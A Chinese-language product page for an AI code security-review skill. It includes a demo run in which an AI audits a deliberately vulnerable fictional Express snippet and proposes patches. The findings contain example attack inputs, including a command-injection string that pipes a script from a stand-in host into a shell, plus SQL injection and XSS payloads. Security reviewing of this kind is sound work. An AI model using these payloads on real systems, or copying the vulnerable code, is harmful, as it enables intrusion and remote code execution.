首页 / Skills / 开发提效 / 代码安全审查 Security Review
开发提效

代码安全审查 Security Review

awesome-copilot communityMITSkill 语言: 英文
协议已核对不含脚本高风险
演示真实运行记录 · claude-sonnet-5-5 · 2026年10月
Using the security-review skill, review this small fictional Express snippet. Treat it as the whole project. File server.js: const express=require("express"); const app=express(); const db=require("./db"); const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234"; app.get("/user", (req,res)=>{ db.query("SELECT * FROM users WHERE id = "+req.query.id,(e,r)=>res.send(r)); }); app.get("/page",(req,res)=>{ res.send("<h1>Hello "+req.query.name+"</h1>"); }); app.get("/run",(req,res)=>{ require("child_process").exec("ping -c1 "+req.query.host); res.end(); }); app.listen(3000). File package.json dependencies: lodash 4.17.15, jsonwebtoken 8.5.0.
Skill: security-review
Read: references/report-format.md
Read: references/vulnerable-packages.md
Read: references/language-patterns.md
╔══════════════════════════════════════════════════════════╗
║           🔐 SECURITY REVIEW REPORT                      ║
╚══════════════════════════════════════════════════════════╝
Project: skill-trial (fictional snippet)   Scan Date: 2026-10-05
Scope: server.js, package.json (the whole project)
Languages: JavaScript (Node.js)   Frameworks: Express
┌──────────────┬────────────────┐
│ 🔴 CRITICAL  │ 3 findings     │
│ 🟠 HIGH      │ 2 findings     │
│ 🟡 MEDIUM    │ 1 finding      │
│ 🔵 LOW       │ 2 findings     │
│ ⚪ INFO      │ 2 findings     │
├──────────────┼────────────────┤
│ TOTAL        │ 10 findings    │
└──────────────┴────────────────┘
Dependency Audit: 2 vulnerable packages
Secrets Scan: 1 exposed credential

The snippet is a single line, so locations are given by route instead of line number.

Injection

🔴 CRITICAL: SQL injection (Confidence: HIGH)
📍 server.js, GET /user

db.query("SELECT * FROM users WHERE id = "+req.query.id, ...)

⚠️ req.query.id goes straight into the SQL string. An attacker can dump or modify any table, for example /user?id=0 UNION SELECT .... If ./db allows stacked queries, they can also run ; DROP TABLE users. Express can also parse id[]= into an array or object, which makes the input shape unpredictable.
📚 OWASP A03:2021

🔴 CRITICAL: OS command injection (RCE) (Confidence: HIGH)
📍 server.js, GET /run

require("child_process").exec("ping -c1 "+req.query.host);

⚠️ exec runs the string through a shell. /run?host=1.1.1.1;curl evil.sh|sh gives remote code execution as the server user. The response doesn't echo the output, but the attack still works blind, and it can use reverse shells or DNS exfiltration. The endpoint is also unauthenticated.
📚 OWASP A03:2021, CWE-78

🟠 HIGH: Reflected XSS (Confidence: HIGH)
📍 server.js, GET /page

res.send("<h1>Hello "+req.query.name+"</h1>");

⚠️ res.send with a string sets Content-Type: text/html, and name is not escaped. A link such as /page?name=<script>…</script> runs script in the victim's session on your origin.
📚 OWASP A03:2021, CWE-79

Authentication and access control

🟠 HIGH: Missing authentication/authorization, with excessive data exposure (Confidence: HIGH)
📍 server.js, GET /user (and /run)
⚠️ No authentication middleware exists anywhere. Anyone can request any user ID (IDOR) and receive the full SELECT * row. That likely includes password hashes, emails and other PII. Sequential IDs make enumeration easy. jsonwebtoken is in package.json but is never used.

Error handling

🟡 MEDIUM: No error handling on the DB call (Confidence: HIGH)
📍 server.js, /user callback (e,r)=>res.send(r)
⚠️ The error e is ignored. On failure r is undefined, so the request hangs or returns an empty response. If you "fix" this by sending e, you would leak SQL error text, which makes the injection easier to exploit. Log the error server-side and return a generic 500.

Hardening

  • 🔵 LOW: No security headers. helmet() is missing, and there is no CSP, which would have limited the XSS. (Confidence: HIGH)
  • 🔵 LOW: No rate limiting on any endpoint. /run can be used to flood other hosts. (Confidence: HIGH)

🔑 Secrets and exposure scan

🔴 CRITICAL: Hardcoded Stripe live key (Confidence: HIGH)
📍 server.js, top of file

const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234";

The sk_live_ prefix marks a live secret key. Anyone with repo access can issue charges and refunds and read customer data. The key is also unused in this snippet, so it is dead weight with real risk. This one is a fake example, but a real key in this position would need these steps:

  1. Rotate the key in the Stripe dashboard.
  2. Load it from process.env.STRIPE_KEY.
  3. Keep .env out of git.
  4. Check git history with git log --all -p | grep sk_live_, and purge it with git-filter-repo or BFG if it appears.

📦 Dependency audit

  • 🟠 HIGH: [email protected] is below 4.17.21.
    • CVE-2020-8203: prototype pollution in zipObjectDeep, fixed in 4.17.19.
    • CVE-2021-23337: command injection via _.template.
    • CVE-2020-28500: ReDoS.
    • Fix: npm install [email protected]. The snippet doesn't call lodash, so exposure is conditional, but the version is still vulnerable.
  • 🟠 HIGH: [email protected] is below 9.0.0. It has algorithm and key-confusion weaknesses (CVE-2022-23529, CVE-2022-23539, CVE-2022-23540, CVE-2022-23541). Fix: npm install jsonwebtoken@9. Always pass an explicit algorithms: [...] list to verify.
  • ⚪ INFO: express and ./db are required in code, but express isn't listed in package.json, and there is no lockfile. The app won't install cleanly, and versions can't be audited or pinned.
  • ⚪ INFO: lodash and jsonwebtoken are declared but unused. Remove them if they aren't needed, which shrinks the attack surface.

🛠️ Patch proposals

⚠️ Review each patch before applying. Nothing has been changed yet.

Patch 1/4: SQL injection in /user

// BEFORE
db.query("SELECT * FROM users WHERE id = "+req.query.id,(e,r)=>res.send(r));

// AFTER: parameterized query, selected columns only, and error handling
// (placeholder syntax assumes mysql-style `?`; use $1 for pg)
db.query("SELECT id, name FROM users WHERE id = ?",[req.query.id],(e,r)=>{
  if(e) return res.sendStatus(500); // don't leak DB errors
  res.json(r);
});

Patch 2/4: Command injection in /run

// BEFORE
require("child_process").exec("ping -c1 "+req.query.host);
res.end();

// AFTER: no shell (execFile), validated input, "--" ends option parsing
const net=require("net");
const host=String(req.query.host);
if(!net.isIP(host)) return res.sendStatus(400); // allow-list: IPs only
require("child_process").execFile("ping",["-c1","--",host],()=>res.end());

Also put this route behind authentication, or remove it.

Patch 3/4: XSS in /page

// BEFORE
res.send("<h1>Hello "+req.query.name+"</h1>");

// AFTER: HTML-escape output (or use a template engine with auto-escaping)
const esc=s=>String(s).replace(/[&<>"']/g,c=>({"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;"}[c]));
res.send("<h1>Hello "+esc(req.query.name)+"</h1>");

Also add app.use(require("helmet")()).

Patch 4/4: Hardcoded secret

// BEFORE
const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234";

// AFTER: read from the environment; rotate the old key
const STRIPE_KEY=process.env.STRIPE_KEY;

The missing authentication finding needs a design decision, so I haven't written a patch for it. Add auth middleware (for example, verifying a JWT with jsonwebtoken@9) and check that req.user.id matches the requested ID or the user is an admin.

⚡ Next steps

  1. Rotate the key, then fix the SQLi and command injection first.
  2. Add authentication, then fix the XSS and upgrade the dependencies.
  3. Add helmet and rate limiting, and commit a package.json with all dependencies plus a lockfile.

💡 This is a static review of the snippet as given. I couldn't see ./db, so the SQL placeholder syntax and stacked-query behavior are assumptions.

Real run in an isolated folder with only this skill installed. Only the Skill and Read tools were enabled, so nothing was fetched from the web and no file was written. The example is fictional. The code is a short fictional snippet with an obviously fake key; the model opened three of the skill's reference files and changed nothing.

它做什么

对整个项目或指定路径做安全扫描,覆盖 JavaScript、TypeScript、Python、Java、PHP、Go、Ruby 和 Rust。它会对照一份整理好的观察清单审计依赖,扫描硬编码密钥和泄露的凭据,再分析注入(SQL、XSS、命令)、认证与访问控制(IDOR、JWT、CSRF)、数据处理(SSRF、路径遍历、反序列化)、密码学和业务逻辑缺陷,并跨文件追踪数据流。

工作方式

  1. 模型先确定扫描范围并载入对应语言的模式。
  2. 依次做依赖审计、密钥扫描、深度扫描和跨文件数据流分析。
  3. 对每条发现再核对一遍以减少误报,按严重程度(从严重到信息)和把握程度评级,并按类别归组输出报告。
  4. 对严重和高危发现,给出修改前后的代码,并明确声明“尚未改动任何文件”。

适合什么场景

发布前审查自己的代码、检查某个 PR 涉及的区域、对一个仓库做快速分诊。

说明与风险

请先读这一条:为了找出密钥,Skill 会让模型扫描所有文件,包括 `.env`、配置、CI 和基础设施文件,而且没有任何规则要求对真实值打码,所以真实密钥可能进入你的对话或报告。请把范围限制在某个目录、先移除或轮换真实密钥,或者在副本上运行。它只做静态分析:不会运行你的代码,补丁只展示、不应用。报告里可能建议 `git log --all -p | grep` 以及改写历史的工具,没搞懂之前不要执行。依赖检查依据的是固定的观察清单,不是实时漏洞库。它不能替代专业的安全审计。